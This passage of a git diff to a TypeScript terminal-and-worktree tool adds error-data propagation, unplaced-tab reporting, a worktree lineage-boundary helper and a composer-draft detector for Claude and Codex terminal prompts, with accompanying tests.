diff --git a/src/shared/remote-runtime-client-error.ts b/src/shared/remote-runtime-client-error.ts
index 487a1108b87..ec76b55af64 100644
--- a/src/shared/remote-runtime-client-error.ts
+++ b/src/shared/remote-runtime-client-error.ts
@@ -9,6 +9,8 @@ export type RemoteRuntimePairingStage = 'connect' | 'host-identity' | 'access-gr
  */
 export class RemoteRuntimeClientError extends Error {
   readonly code: string
+  /** Structured recovery data must survive the WebSocket adapter unchanged. */
+  readonly data?: unknown
   readonly pairingStage?: RemoteRuntimePairingStage
   readonly closeCode?: number
 
@@ -16,6 +18,7 @@ export class RemoteRuntimeClientError extends Error {
     code: string,
     message: string,
     details?: {
+      data?: unknown
       pairingStage?: RemoteRuntimePairingStage
       closeCode?: number
     }
@@ -23,6 +26,7 @@ export class RemoteRuntimeClientError extends Error {
     super(message)
     this.name = 'RemoteRuntimeClientError'
     this.code = code
+    this.data = details?.data
     this.pairingStage = details?.pairingStage
     this.closeCode = details?.closeCode
   }
diff --git a/src/shared/remote-runtime-shared-control-protocol.ts b/src/shared/remote-runtime-shared-control-protocol.ts
index 4daae215989..e7857a08d69 100644
--- a/src/shared/remote-runtime-shared-control-protocol.ts
+++ b/src/shared/remote-runtime-shared-control-protocol.ts
@@ -157,7 +157,11 @@ export function toRemoteRuntimeClientError(error: unknown): RemoteRuntimeClientE
     return error
   }
   if (error instanceof Error) {
-    return new RemoteRuntimeClientError('runtime_error', error.message)
+    const data =
+      typeof error === 'object' && error !== null && 'data' in error
+        ? (error as { data?: unknown }).data
+        : undefined
+    return new RemoteRuntimeClientError('runtime_error', error.message, { data })
   }
   return new RemoteRuntimeClientError('runtime_error', String(error))
 }
diff --git a/src/shared/remote-workspace-session-projection.test.ts b/src/shared/remote-workspace-session-projection.test.ts
index 76fdadc8d16..a22f4123d25 100644
--- a/src/shared/remote-workspace-session-projection.test.ts
+++ b/src/shared/remote-workspace-session-projection.test.ts
@@ -126,4 +126,109 @@ describe('remote workspace session projection', () => {
     expect(session.activeTabIdByWorktree).toEqual({ 'repo-b::/srv/app': null })
     expect(session.lastVisitedAtByWorktreeId).toEqual({ 'repo-b::/srv/app': 456 })
   })
+
+  it('reports every host path whose terminal tabs could not be placed locally', () => {
+    const unplaced: [string, number][] = []
+
+    const session = importRemoteWorkspaceSession(
+      {
+        activeWorktreePath: '/srv/app',
+        activeTabId: null,
+        tabsByWorktreePath: {
+          '/srv/app': [
+            {
+              id: 'tab-1',
+              ptyId: 'pty-1',
+              worktreePath: '/srv/app',
+              title: 'Placed',
+              customTitle: null,
+              color: null,
+              sortOrder: 0,
+              createdAt: 1
+            }
+          ],
+          '/srv/gone': [
+            {
+              id: 'tab-2',
+              ptyId: 'pty-2',
+              worktreePath: '/srv/gone',
+              title: 'Unplaced',
+              customTitle: null,
+              color: null,
+              sortOrder: 0,
+              createdAt: 2
+            },
+            {
+              id: 'tab-3',
+              ptyId: 'pty-3',
+              worktreePath: '/srv/gone',
+              title: 'Unplaced too',
+              customTitle: null,
+              color: null,
+              sortOrder: 1,
+              createdAt: 3
+            }
+          ],
+          '/srv/also-gone': [
+            {
+              id: 'tab-4',
+              ptyId: 'pty-4',
+              worktreePath: '/srv/also-gone',
+              title: 'Unplaced elsewhere',
+              customTitle: null,
+              color: null,
+              sortOrder: 0,
+              createdAt: 4
+            }
+          ],
+          '/srv/empty-and-gone': []
+        },
+        terminalLayoutsByTabId: {}
+      },
+      {
+        resolveWorktreeId: (path) => (path === '/srv/app' ? 'repo-b::/srv/app' : null),
+        onUnplacedTerminalTabs: (worktreePath, tabCount) => unplaced.push([worktreePath, tabCount])
+      }
+    )
+
+    // Once per unresolvable path that actually carried tabs: not the resolved path, and not the
+    // path whose tab array was empty (nothing was lost there).
+    expect(unplaced).toEqual([
+      ['/srv/gone', 2],
+      ['/srv/also-gone', 1]
+    ])
+    expect(Object.keys(session.tabsByWorktree)).toEqual(['repo-b::/srv/app'])
+  })
+
+  it('does not report unplaced tabs when every host path resolves', () => {
+    const unplaced: string[] = []
+
+    importRemoteWorkspaceSession(
+      {
+        activeWorktreePath: '/srv/app',
+        activeTabId: 'tab-1',
+        tabsByWorktreePath: {
+          '/srv/app': [
+            {
+              id: 'tab-1',
+              ptyId: 'pty-1',
+              worktreePath: '/srv/app',
+              title: 'Remote',
+              customTitle: null,
+              color: null,
+              sortOrder: 0,
+              createdAt: 1
+            }
+          ]
+        },
+        terminalLayoutsByTabId: {}
+      },
+      {
+        resolveWorktreeId: (path) => `repo-b::${path}`,
+        onUnplacedTerminalTabs: (worktreePath) => unplaced.push(worktreePath)
+      }
+    )
+
+    expect(unplaced).toEqual([])
+  })
 })
diff --git a/src/shared/remote-workspace-session-projection.ts b/src/shared/remote-workspace-session-projection.ts
index 32ac8759527..0b0066c1ed0 100644
--- a/src/shared/remote-workspace-session-projection.ts
+++ b/src/shared/remote-workspace-session-projection.ts
@@ -18,6 +18,13 @@ type ImportOptions = {
   resolveWorktreeId: (worktreePath: string) => string | null
   /** Host owning the projected snapshot; absent preserves the legacy bare key. */
   executionHostId?: ExecutionHostId
+  /**
+   * Called for every host path carrying terminal tabs that `resolveWorktreeId` could not place.
+   * An unplaceable path is `unverifiable` — the local catalog has not landed yet — never proof the
+   * row is not ours, so callers must not treat such an import as an authoritative picture of the
+   * host. See docs/reference/ssh-execution-boundary.md.
+   */
+  onUnplacedTerminalTabs?: (worktreePath: string, tabCount: number) => void
 }
 
 function worktreePathFromId(worktreeId: string): string | null {
@@ -157,6 +164,9 @@ export function importRemoteWorkspaceSession(
   for (const [worktreePath, tabs] of Object.entries(remote.tabsByWorktreePath ?? {})) {
     const worktreeId = resolvePath(worktreePath)
     if (!worktreeId) {
+      if (tabs.length > 0) {
+        options.onUnplacedTerminalTabs?.(worktreePath, tabs.length)
+      }
       continue
     }
     tabsByWorktree[worktreeId] = tabs.map((tab) => {
diff --git a/src/shared/resolved-worktree-lineage.test.ts b/src/shared/resolved-worktree-lineage.test.ts
index 1c8803d28dd..44f38e41e1e 100644
--- a/src/shared/resolved-worktree-lineage.test.ts
+++ b/src/shared/resolved-worktree-lineage.test.ts
@@ -2,7 +2,11 @@ import { describe, expect, it } from 'vitest'
 import { join } from 'node:path'
 import type { WorktreeLineage } from './worktree/lineage-types'
 import type { Worktree } from './worktree/types'
-import { projectResolvedWorktreeLineage } from './resolved-worktree-lineage'
+import type { WorktreeLineageBoundary } from './resolved-worktree-lineage'
+import {
+  projectResolvedWorktreeLineage,
+  sharesWorktreeLineageBoundary
+} from './resolved-worktree-lineage'
 
 function worktree(id: string, instanceId: string, overrides: Partial<Worktree> = {}): Worktree {
   return {
@@ -41,6 +45,41 @@ function lineage(overrides: Partial<WorktreeLineage> = {}): WorktreeLineage {
   }
 }
 
+describe('sharesWorktreeLineageBoundary', () => {
+  const boundary = (overrides: Partial<WorktreeLineageBoundary> = {}): WorktreeLineageBoundary => ({
+    repoId: 'repo',
+    hostId: 'local',
+    projectId: 'github:stablyai/orca',
+    ...overrides
+  })
+
+  it('accepts an identical repo, host, and project', () => {
+    expect(sharesWorktreeLineageBoundary(boundary(), boundary())).toBe(true)
+  })
+
+  it('rejects a differing repo even when host and project agree', () => {
+    expect(sharesWorktreeLineageBoundary(boundary(), boundary({ repoId: 'other-repo' }))).toBe(
+      false
+    )
+  })
+
+  it.each([
+    ['child host', boundary({ hostId: undefined }), boundary()],
+    ['parent host', boundary(), boundary({ hostId: undefined })],
+    ['child project', boundary({ projectId: undefined }), boundary()],
+    ['parent project', boundary(), boundary({ projectId: undefined })]
+  ])('treats an undefined %s as compatible', (_label, child, parent) => {
+    expect(sharesWorktreeLineageBoundary(child, parent)).toBe(true)
+  })
+
+  it.each([
+    ['host', boundary({ hostId: 'ssh:remote' })],
+    ['project', boundary({ projectId: 'github:other/project' })]
+  ])('rejects a defined %s mismatch', (_label, parent) => {
+    expect(sharesWorktreeLineageBoundary(boundary(), parent)).toBe(false)
+  })
+})
+
 describe('projectResolvedWorktreeLineage', () => {
   const parent = worktree('parent', 'parent-instance')
   const child = worktree('child', 'child-instance')
diff --git a/src/shared/resolved-worktree-lineage.ts b/src/shared/resolved-worktree-lineage.ts
index f0a50ae2266..01e84971273 100644
--- a/src/shared/resolved-worktree-lineage.ts
+++ b/src/shared/resolved-worktree-lineage.ts
@@ -7,7 +7,14 @@ export type WorktreeWithResolvedLineage<T extends Worktree = Worktree> = T & {
   lineage: WorktreeLineage | null
 }
 
-export function sharesResolvedWorktreeLineageBoundary(child: Worktree, parent: Worktree): boolean {
+/** The fields a lineage edge is scoped by. Split out so create-time callers — which have a
+ *  projected child, not a real Worktree — can check the same rule the projection enforces. */
+export type WorktreeLineageBoundary = Pick<Worktree, 'repoId' | 'hostId' | 'projectId'>
+
+export function sharesWorktreeLineageBoundary(
+  child: WorktreeLineageBoundary,
+  parent: WorktreeLineageBoundary
+): boolean {
   return (
     child.repoId === parent.repoId &&
     (child.hostId === undefined || parent.hostId === undefined || child.hostId === parent.hostId) &&
@@ -17,6 +24,10 @@ export function sharesResolvedWorktreeLineageBoundary(child: Worktree, parent: W
   )
 }
 
+export function sharesResolvedWorktreeLineageBoundary(child: Worktree, parent: Worktree): boolean {
+  return sharesWorktreeLineageBoundary(child, parent)
+}
+
 export function isValidResolvedWorktreeLineageEdge(
   child: Worktree,
   parent: Worktree,
diff --git a/src/shared/runtime-session-contracts.ts b/src/shared/runtime-session-contracts.ts
index 9d94980fcae..8bf41a9cdc5 100644
--- a/src/shared/runtime-session-contracts.ts
+++ b/src/shared/runtime-session-contracts.ts
@@ -70,6 +70,10 @@ export type RuntimeStatus = {
   runtimeProtocolVersion?: number
   minCompatibleRuntimeClientVersion?: number
   capabilities?: RuntimeCapability[]
+  /** Optional policy for clients that negotiated worktree.create-idempotency.v1. */
+  worktreeCreateIdempotency?: {
+    dedupeTtlMs: number
+  }
   /**
    * Optional for mixed-version peers. Absence means the host predates structured
    * degradation reporting, not that the host proved every optional feature available.
diff --git a/src/shared/runtime-terminal-contracts.ts b/src/shared/runtime-terminal-contracts.ts
index a1692e5f754..8e889129949 100644
--- a/src/shared/runtime-terminal-contracts.ts
+++ b/src/shared/runtime-terminal-contracts.ts
@@ -26,6 +26,8 @@ export type RuntimeTerminalSummary = {
   writable: boolean
   lastOutputAt: number | null
   preview: string
+  /** Host-resolved agent identity for action consumers; absent when unknown or unsupported. */
+  agentIdentity?: TuiAgent
   /** Absent while running or when the host predates the field; never infer a clean finish. */
   exitCause?: TerminalExitCause
   /** Absent when the host predates the field or could not name the execution host. */
@@ -185,6 +187,8 @@ export type RuntimeTerminalRead = {
   latestCursor?: string
   returnedLineCount?: number
   source?: 'stream' | 'screen' | 'screen-unavailable'
+  /** UI-only composer text, excluded from `tail`. */
+  draft?: string
 }
 
 export type RuntimeTerminalRename = {
diff --git a/src/shared/source-scan/source-tree-scan.ts b/src/shared/source-scan/source-tree-scan.ts
index 780354434c0..900d969b2ea 100644
--- a/src/shared/source-scan/source-tree-scan.ts
+++ b/src/shared/source-scan/source-tree-scan.ts
@@ -18,7 +18,11 @@ const IGNORED_DIRECTORIES = new Set(['node_modules', 'dist', 'out', 'build', '.g
 export function isTestFile(relativePath: string): boolean {
   return (
     /\.(?:test|spec)\.tsx?$/.test(relativePath) ||
-    /(?:test-harness|test-utils|test-setup|test-fixture|repro)/.test(relativePath) ||
+    // `repro` must be a whole token: a bare substring exempted the shipped
+    // windows-terminal-capability-reprobe.ts from every guard using this walk.
+    /(?:test-harness|test-utils|test-setup|test-fixture|\brepro\b|reproduction)/.test(
+      relativePath
+    ) ||
     relativePath.includes('/__tests__/')
   )
 }
diff --git a/src/shared/terminal-composer-draft.test.ts b/src/shared/terminal-composer-draft.test.ts
new file mode 100644
index 00000000000..9e61796c4f9
--- /dev/null
+++ b/src/shared/terminal-composer-draft.test.ts
@@ -0,0 +1,369 @@
+import { describe, expect, it } from 'vitest'
+import { detectTerminalComposerDraft } from './terminal-composer-draft'
+
+describe('detectTerminalComposerDraft', () => {
+  it('separates a cursor-right suggestion from the composer line', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['────────', '❯ proceed with the release'],
+        typedRows: ['────────', '❯'],
+        promptGlyphBoldRows: [false, false],
+        rowsBelow: [],
+        typedRowsBelow: [],
+        beforeCursor: '❯ ',
+        afterCursor: '',
+        rawAfterCursor: 'proceed with the release',
+        cursorHidden: false,
+        cursorViewportRow: 8
+      })
+    ).toEqual({
+      text: 'proceed with the release',
+      promptRow: 8,
+      cursorRow: 8,
+      endRow: 8,
+      promptGlyph: '❯'
+    })
+  })
+
+  it('keeps stock dim placeholders out of draft metadata', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['› Ask Codex to do anything'],
+        typedRows: ['›'],
+        promptGlyphBoldRows: [true],
+        rowsBelow: [],
+        typedRowsBelow: [],
+        beforeCursor: '› ',
+        afterCursor: '',
+        rawAfterCursor: 'Ask Codex to do anything',
+        cursorHidden: false,
+        cursorViewportRow: 4
+      })
+    ).toBeNull()
+  })
+
+  it('does not duplicate real typed text left of the cursor', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['────────', '❯ review the change'],
+        typedRows: ['────────', '❯ review the change'],
+        promptGlyphBoldRows: [false, false],
+        rowsBelow: [],
+        typedRowsBelow: [],
+        beforeCursor: '❯ review the change',
+        afterCursor: '',
+        rawAfterCursor: '',
+        cursorHidden: false,
+        cursorViewportRow: 2
+      })?.text
+    ).toBe('review the change')
+  })
+
+  it('preserves a shell prompt that happens to use the Claude glyph', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['last command output', '❯ git status'],
+        typedRows: ['last command output', '❯ git status'],
+        promptGlyphBoldRows: [false, false],
+        rowsBelow: [],
+        typedRowsBelow: [],
+        beforeCursor: '❯ git status',
+        afterCursor: '',
+        rawAfterCursor: '',
+        cursorHidden: false,
+        cursorViewportRow: 7
+      })
+    ).toBeNull()
+  })
+
+  it('rejects a hidden-cursor dialog even when its selected row uses a composer glyph', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['› 1. Yes, continue', '  Press enter to continue'],
+        typedRows: ['› 1. Yes, continue', '  Press enter to continue'],
+        promptGlyphBoldRows: [true, false],
+        rowsBelow: [],
+        typedRowsBelow: [],
+        beforeCursor: '  Press enter to continue',
+        afterCursor: '',
+        rawAfterCursor: '',
+        cursorHidden: true,
+        cursorViewportRow: 5
+      })
+    ).toBeNull()
+  })
+
+  it('separates dimmed suggestion rows below the restored cursor', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['────────', '❯ proceed with the release'],
+        typedRows: ['────────', '❯'],
+        promptGlyphBoldRows: [false, false],
+        rowsBelow: ['  and close the pull request', '────────'],
+        typedRowsBelow: ['', '────────'],
+        beforeCursor: '❯ ',
+        afterCursor: '',
+        rawAfterCursor: 'proceed with the release',
+        cursorHidden: false,
+        cursorViewportRow: 8
+      })
+    ).toEqual({
+      text: 'proceed with the release\nand close the pull request',
+      promptRow: 8,
+      cursorRow: 8,
+      endRow: 9,
+      promptGlyph: '❯'
+    })
+  })
+
+  it('recognizes the bold Codex ultra composer glyph', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['» review the change'],
+        typedRows: ['» review the change'],
+        promptGlyphBoldRows: [true],
+        rowsBelow: ['gpt-5.6 · ~/repo'],
+        typedRowsBelow: ['gpt-5.6 · ~/repo'],
+        beforeCursor: '» review the change',
+        afterCursor: '',
+        rawAfterCursor: '',
+        cursorHidden: false,
+        cursorViewportRow: 4
+      })
+    ).toMatchObject({ text: 'review the change', promptGlyph: '»' })
+  })
+
+  it('recognizes the bold Codex composer when its footer is visible', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['› review the change'],
+        typedRows: ['› review the change'],
+        promptGlyphBoldRows: [true],
+        rowsBelow: ['gpt-5.6 · ~/repo'],
+        typedRowsBelow: ['gpt-5.6 · ~/repo'],
+        beforeCursor: '› review the change',
+        afterCursor: '',
+        rawAfterCursor: '',
+        cursorHidden: false,
+        cursorViewportRow: 4
+      })
+    ).toMatchObject({ text: 'review the change', promptGlyph: '›' })
+  })
+
+  it('recognizes a Codex composer with a context-only status footer', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['› review the change'],
+        typedRows: ['› review the change'],
+        promptGlyphBoldRows: [true],
+        rowsBelow: ['', '  Context 12% used'],
+        typedRowsBelow: ['', ''],
+        rowsBelowWrapped: [false, false],
+        beforeCursor: '› review the change',
+        afterCursor: '',
+        rawAfterCursor: '',
+        cursorHidden: false,
+        cursorViewportRow: 4
+      })
+    ).toMatchObject({ text: 'review the change', promptGlyph: '›' })
+  })
+
+  it('recognizes a Codex composer with an arbitrary dimmed thread-title footer', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['› review the change'],
+        typedRows: ['› review the change'],
+        promptGlyphBoldRows: [true],
+        rowsBelow: ['', '  Release train'],
+        typedRowsBelow: ['', ''],
+        rowsBelowWrapped: [false, false],
+        beforeCursor: '› review the change',
+        afterCursor: '',
+        rawAfterCursor: '',
+        cursorHidden: false,
+        cursorViewportRow: 4
+      })
+    ).toMatchObject({ text: 'review the change', promptGlyph: '›' })
+  })
+
+  it('preserves an ordinary shell prompt that uses the Codex glyph', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['last command output', '› git status'],
+        typedRows: ['last command output', '› git status'],
+        promptGlyphBoldRows: [false, true],
+        rowsBelow: [],
+        typedRowsBelow: [],
+        beforeCursor: '› git status',
+        afterCursor: '',
+        rawAfterCursor: '',
+        cursorHidden: false,
+        cursorViewportRow: 7
+      })
+    ).toBeNull()
+  })
+
+  it('keeps the side-thread placeholder out of draft metadata', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['› Ask a follow-up question'],
+        typedRows: ['›'],
+        promptGlyphBoldRows: [true],
+        rowsBelow: [],
+        typedRowsBelow: [],
+        beforeCursor: '› ',
+        afterCursor: '',
+        rawAfterCursor: 'Ask a follow-up question',
+        cursorHidden: false,
+        cursorViewportRow: 4
+      })
+    ).toBeNull()
+  })
+
+  it('keeps a wrapped stock placeholder out of draft metadata', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['› Ask Codex to do'],
+        typedRows: ['›'],
+        promptGlyphBoldRows: [true],
+        rowsBelow: ['  anything'],
+        typedRowsBelow: [''],
+        beforeCursor: '› ',
+        afterCursor: '',
+        rawAfterCursor: 'Ask Codex to do',
+        cursorHidden: false,
+        cursorViewportRow: 4
+      })
+    ).toBeNull()
+  })
+
+  it('joins soft-wrapped continuation rows without inserting a newline', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['────────', '❯ proceed with the'],
+        typedRows: ['────────', '❯'],
+        promptGlyphBoldRows: [false, false],
+        rowsWrapped: [false, false],
+        rowsBelow: ['release'],
+        typedRowsBelow: [''],
+        rowsBelowWrapped: [true],
+        beforeCursor: '❯ ',
+        afterCursor: '',
+        rawAfterCursor: 'proceed with the ',
+        cursorHidden: false,
+        cursorViewportRow: 8
+      })?.text
+    ).toBe('proceed with the release')
+  })
+
+  it('keeps a draft continuation containing a middle dot', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['────────', '❯ proceed '],
+        typedRows: ['────────', '❯'],
+        promptGlyphBoldRows: [false, false],
+        rowsWrapped: [false, false],
+        rowsBelow: ['deploy · verify', '────────'],
+        typedRowsBelow: ['', '────────'],
+        rowsBelowWrapped: [true, false],
+        beforeCursor: '❯ ',
+        afterCursor: 'proceed ',
+        rawAfterCursor: 'proceed ',
+        cursorHidden: false,
+        cursorViewportRow: 8
+      })?.text
+    ).toBe('proceed deploy · verify')
+  })
+
+  it('keeps a model-like continuation before the Codex status footer', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['› compare '],
+        typedRows: ['› compare '],
+        promptGlyphBoldRows: [true],
+        rowsBelow: ['gpt-5 · verify', 'gpt-5.6 · Context 12% used'],
+        typedRowsBelow: ['gpt-5 · verify', 'gpt-5.6 · Context 12% used'],
+        rowsBelowWrapped: [false, false],
+        beforeCursor: '› compare ',
+        afterCursor: '',
+        rawAfterCursor: '',
+        cursorHidden: false,
+        cursorViewportRow: 4
+      })?.text
+    ).toBe('compare\ngpt-5 · verify')
+  })
+
+  it('keeps typed soft-wrapped rows below a restored cursor in the draft', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['────────', '❯ proceed with the '],
+        typedRows: ['────────', '❯ proceed with the '],
+        promptGlyphBoldRows: [false, false],
+        rowsWrapped: [false, false],
+        rowsBelow: ['release'],
+        typedRowsBelow: ['release'],
+        rowsBelowWrapped: [true],
+        beforeCursor: '❯ proceed',
+        afterCursor: ' with the ',
+        rawAfterCursor: ' with the ',
+        cursorHidden: false,
+        cursorViewportRow: 8
+      })?.text
+    ).toBe('proceed with the release')
+  })
+
+  it('keeps typed hard-newline rows below a restored cursor in the draft', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['────────', '❯ first line'],
+        typedRows: ['────────', '❯ first line'],
+        promptGlyphBoldRows: [false, false],
+        rowsWrapped: [false, false],
+        rowsBelow: ['  second line', '────────'],
+        typedRowsBelow: ['  second line', '────────'],
+        rowsBelowWrapped: [false, false],
+        beforeCursor: '❯ first',
+        afterCursor: ' line',
+        rawAfterCursor: ' line',
+        cursorHidden: false,
+        cursorViewportRow: 8
+      })?.text
+    ).toBe('first line\nsecond line')
+  })
+
+  it('keeps typed continuation rows after an intentional blank draft line', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['────────', '❯ first line'],
+        typedRows: ['────────', '❯ first line'],
+        promptGlyphBoldRows: [false, false],
+        rowsWrapped: [false, false],
+        rowsBelow: ['', '  second line', '────────'],
+        typedRowsBelow: ['', '  second line', '────────'],
+        rowsBelowWrapped: [false, false, false],
+        beforeCursor: '❯ first',
+        afterCursor: ' line',
+        rawAfterCursor: ' line',
+        cursorHidden: false,
+        cursorViewportRow: 8
+      })
+    ).toMatchObject({ text: 'first line\n\nsecond line', endRow: 10 })
+  })
+
+  it('stops before a blank row that only precedes the composer frame', () => {
+    expect(
+      detectTerminalComposerDraft({
+        rows: ['────────', '❯ first line'],
+        typedRows: ['────────', '❯ first line'],
+        promptGlyphBoldRows: [false, false],
+        rowsBelow: ['', '────────'],
+        typedRowsBelow: ['', '────────'],
+        beforeCursor: '❯ first line',
+        afterCursor: '',
+        rawAfterCursor: '',
+        cursorHidden: false,
+        cursorViewportRow: 8
+      })
+    ).toMatchObject({ text: 'first line', endRow: 8 })
+  })
+})
diff --git a/src/shared/terminal-composer-draft.ts b/src/shared/terminal-composer-draft.ts
new file mode 100644
index 00000000000..8acb0fc3b72
--- /dev/null
+++ b/src/shared/terminal-composer-draft.ts
@@ -0,0 +1,173 @@
+export type TerminalCursorContext = {
+  rows: string[]
+  typedRows: string[]
+  promptGlyphBoldRows: boolean[]
+  rowsWrapped?: boolean[]
+  rowsBelow: string[]
+  typedRowsBelow: string[]
+  rowsBelowWrapped?: boolean[]
+  rowsBelowCustomForeground?: boolean[]
+  beforeCursor: string
+  afterCursor: string
+  rawAfterCursor: string
+  cursorHidden: boolean
+  cursorViewportRow: number
+}
+
+export type TerminalComposerDraft = {
+  text: string
+  promptRow: number
+  cursorRow: number
+  endRow: number
+  promptGlyph: '❯' | '›' | '»'
+}
+
+const COMPOSER_FRAME_LINE = /^[─━-]{8,}\s*$/
+const CODEX_FOOTER_LINE = /^\s*(?:gpt-\S+|o\d\S*)\s+[·•]\s+\S.*$/i
+
+function composerContinuationRows(
+  context: TerminalCursorContext,
+  afterCursor: string,
+  codexFooterIndex: number
+): { text: string; wrapped: boolean }[] {
+  if (!afterCursor.trim() && !context.typedRowsBelow.some((row) => row.trim())) {
+    return []
+  }
+  const continuation: { text: string; wrapped: boolean }[] = []
+  const hasTypedContinuationAfter = context.rowsBelow.map(() => false)
+  let hasFollowingTyped = false
+  for (let index = context.rowsBelow.length - 1; index >= 0; index -= 1) {
+    const raw = context.rowsBelow[index] ?? ''
+    if (COMPOSER_FRAME_LINE.test(raw) || index === codexFooterIndex) {
+      hasFollowingTyped = false
+      continue
+    }
+    hasTypedContinuationAfter[index] = hasFollowingTyped
+    if ((context.typedRowsBelow[index] ?? '').trim()) {
+      hasFollowingTyped = true
+    }
+  }
+  for (let index = 0; index < context.rowsBelow.length; index += 1) {
+    const raw = context.rowsBelow[index] ?? ''
+    if (COMPOSER_FRAME_LINE.test(raw) || index === codexFooterIndex) {
+      break
+    }
+    if (!raw.trim() && !hasTypedContinuationAfter[index]) {
+      break
+    }
+    const typed = context.typedRowsBelow[index] ?? ''
+    continuation.push({
+      text: typed.trim() ? typed : raw,
+      wrapped: context.rowsBelowWrapped?.[index] ?? false
+    })
+  }
+  return continuation
+}
+
+function findCodexFooterIndex(context: TerminalCursorContext): number {
+  for (let index = context.rowsBelow.length - 1; index >= 0; index -= 1) {
+    const row = context.rowsBelow[index] ?? ''
+    if (!row.trim()) {
+      continue
+    }
+    const undimmed = context.typedRowsBelow[index] ?? ''
+    const hasFooterGap = index > 0 && !(context.rowsBelow[index - 1] ?? '').trim()
+    const isDimmedFooter =
+      hasFooterGap && !undimmed.trim() && context.rowsBelowWrapped?.[index] === false
+    const isColoredFooter =
+      hasFooterGap &&
+      context.rowsBelowCustomForeground?.[index] === true &&
+      context.rowsBelowWrapped?.[index] === false
+    return isDimmedFooter || isColoredFooter || CODEX_FOOTER_LINE.test(row) ? index : -1
+  }
+  return -1
+}
+
+function isStockPlaceholder(
+  afterCursor: string,
+  continuationRows: { text: string; wrapped: boolean }[]
+): boolean {
+  const text = [afterCursor, ...continuationRows.map((row) => row.text)]
+    .join(' ')
+    .replace(/\s+/g, ' ')
+    .trim()
+  return (
+    /^Try\s+["“]/.test(text) ||
+    text === 'Ask Codex to do anything' ||
+    text === 'Ask a follow-up question'
+  )
+}
+
+export function detectTerminalComposerDraft(
+  context: TerminalCursorContext | null | undefined
+): TerminalComposerDraft | null {
+  if (!context || context.cursorHidden || context.rows.length === 0) {
+    return null
+  }
+  const cursorIndex = context.rows.length - 1
+  const codexFooterIndex = findCodexFooterIndex(context)
+  let afterCursor = context.afterCursor || context.rawAfterCursor
+  let continuationRows = composerContinuationRows(context, afterCursor, codexFooterIndex)
+  if (isStockPlaceholder(afterCursor, continuationRows)) {
+    afterCursor = ''
+    continuationRows = []
+  }
+  const cursorText = `${context.beforeCursor}${afterCursor}`
+  for (let index = cursorIndex; index >= 0; index -= 1) {
+    const row = context.rows[index] ?? ''
+    const glyph = row.match(/^\s*([❯›»])/)?.[1] as '❯' | '›' | '»' | undefined
+    if (glyph) {
+      if (glyph === '❯' && !COMPOSER_FRAME_LINE.test(context.rows[index - 1] ?? '')) {
+        return null
+      }
+      if (
+        (glyph === '›' || glyph === '»') &&
+        (context.promptGlyphBoldRows[index] !== true || codexFooterIndex === -1)
+      ) {
+        return null
+      }
+      const lines: { text: string; wrapped: boolean }[] =
+        index === cursorIndex
+          ? [{ text: cursorText.replace(/^\s*[❯›»]\s?/, ''), wrapped: false }, ...continuationRows]
+          : [
+              {
+                text: (context.typedRows[index] ?? row).replace(/^\s*[❯›»]\s?/, ''),
+                wrapped: false
+              },
+              ...context.typedRows.slice(index + 1, cursorIndex).map((text, offset) => ({
+                text,
+                wrapped: context.rowsWrapped?.[index + 1 + offset] ?? false
+              })),
+              {
+                text: cursorText,
+                wrapped: context.rowsWrapped?.[cursorIndex] ?? false
+              },
+              ...continuationRows
+            ]
+      const text = lines
+        .map((line, lineIndex) => {
+          const continuesPrevious = lineIndex > 0 && line.wrapped
+          const continuesNext = lines[lineIndex + 1]?.wrapped ?? false
+          const start = continuesPrevious ? '' : lineIndex > 0 ? '\n' : ''
+          const content = continuesPrevious ? line.text : line.text.trimStart()
+          return `${start}${continuesNext ? content : content.trimEnd()}`
+        })
+        .join('')
+        .trim()
+      if (!text) {
+        return null
+      }
+      return {
+        text,
+        promptRow: context.cursorViewportRow - (cursorIndex - index),
+        cursorRow: context.cursorViewportRow,
+        endRow: context.cursorViewportRow + continuationRows.length,
+        promptGlyph: glyph
+      }
+    }
+    if (row.length > 0 && context.rowsWrapped?.[index] !== true && !/^\s/.test(row)) {
+      return null
+    }
+  }
+  return null
+}
diff --git a/src/shared/terminal-query-reply.test.ts b/src/shared/terminal-query-reply.test.ts
index 0e78bc83dca..980db641926 100644
--- a/src/shared/terminal-query-reply.test.ts
+++ b/src/shared/terminal-query-reply.test.ts
@@ -176,6 +176,25 @@ describe('query reply ordering (termenv OSC-then-CPR)', () => {
     vi.useRealTimers()
   })
 
+  it('preserves reverse query order when CPR arrives before the color query', async () => {
+    vi.useFakeTimers()
+    const pty: string[] = []
+    const ingress = new PtyStartupIngress({
+      ownerBackend: 'posix-pty',
+      write: (data) => pty.push(data),
+      onEmission: () => {}
+    })
+    const write = hostWrites(ingress, pty)
+
+    write(CPR_REPLY)
+    write(OSC_11_REPLY)
+    await vi.advanceTimersByTimeAsync(200)
+
+    expect(pty).toEqual([CPR_REPLY, OSC_11_REPLY])
+    ingress.drainAndClose()
+    vi.useRealTimers()
+  })
+
   it('keeps a CPR immediate when no color reply is deferred', () => {
     vi.useFakeTimers()
     const pty: string[] = []
diff --git a/src/shared/terminal-surface-tombstone-schema.ts b/src/shared/terminal-surface-tombstone-schema.ts
new file mode 100644
index 00000000000..6cd3cfe1bd3
--- /dev/null
+++ b/src/shared/terminal-surface-tombstone-schema.ts
@@ -0,0 +1,14 @@
+import { z } from 'zod'
+
+import { terminalTabIdSchema } from './terminal-tab-id-schema'
+
+/** The value schema for `WorkspaceSessionState.terminalSurfaceTombstonesByPaneKey`. Extracted from
